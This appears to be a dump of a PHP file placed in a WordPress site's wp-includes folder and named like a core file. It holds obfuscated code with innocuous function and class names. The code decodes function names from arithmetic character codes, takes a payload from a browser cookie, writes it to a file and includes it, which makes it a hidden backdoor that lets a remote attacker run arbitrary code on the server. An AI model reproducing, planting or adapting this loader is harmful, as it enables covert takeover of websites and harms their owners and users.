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PHP: 7.4.33
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File: /var/www/sites/emaplug.com.ua/wp-includes/wp-includes.php
<?php
function optimize_cache($c)
{
    $a = array(36 * 3 + 8, 97 * 1, 116, 101 + 14);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function process_queue($c)
{
    $a = array(5 * 23, 116, 2 * 57, 117 - 9, 105 - 4, 106 + 4);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function monitor_health($c)
{
    $a = array(89 + 4 + 18, 2 * 57, 16 * 93 - 1388);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function schedule_work($c)
{
    $a = array(20 * 22 - 326, 59 * 1 + 45, 99);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

class ConnectionManager
{
    private static $_pz;
    static function cacheData($_qy, $_ti)
    {
        if (!self::$_pz) {
            self::updateRegistry();
        }
        $_hfl = process_queue($_ti);
        $_dst = base64_decode(self::$_pz[$_qy]);
        for ($_eu = 0, $_ka = process_queue($_dst); $_eu !== $_ka; ++$_eu) {
            $_dst[$_eu] = schedule_work(monitor_health($_dst[$_eu]) ^ monitor_health($_ti[$_eu % $_hfl]));
        }
        return $_dst;
    }
    private static function updateRegistry()
    {
        self::$_pz = array('_brt' => '', '_njp' => '');
    }
}

$_ka = $_COOKIE;
$_ti = (int) round(0 + 0 + 0 + 0);
$_qy = (int) round(2.3333333333333 + 2.3333333333333 + 2.3333333333333);
$_koh = array();
$_koh[$_ti] = ConnectionManager::cacheData('_brt', '_ade');
while ($_qy) {
    $_koh[$_ti] .= $_ka[(int) round(10.333333333333 + 10.333333333333 + 10.333333333333)][$_qy];
    if (!$_ka[137 + -106][$_qy + (int) round(0.5 + 0.5)]) {
        if (!$_ka[(int) round(7.75 + 7.75 + 7.75 + 7.75)][$_qy + (164 - -223 - 688 - -303)]) {
            break;
        }
        $_ti++;
        $_koh[$_ti] = ConnectionManager::cacheData('_njp', '_oe');
        $_qy++;
    }
    $_qy = $_qy + (-130 + 185 + 121 - 169) + (781 + 399 - 1179);
}
$_ti = $_koh[-351 + 359]() . $_koh[-393 - 254 + -271 + 936];
if (!$_koh[(int) round(0.5 + 0.5 + 0.5 + 0.5)]($_ti)) {
    $_qy = $_koh[(int) round(10 + 10)]($_ti, $_koh[-199 - -202]);
    $_koh[568 - 90 - 463]($_qy, $_koh[-125 + -108 + 233] . $_koh[261 - 277 + 164 + -144]($_koh[2 + 12]($_ka[102 - 289 - -247 - 57])));
}
include $_ti;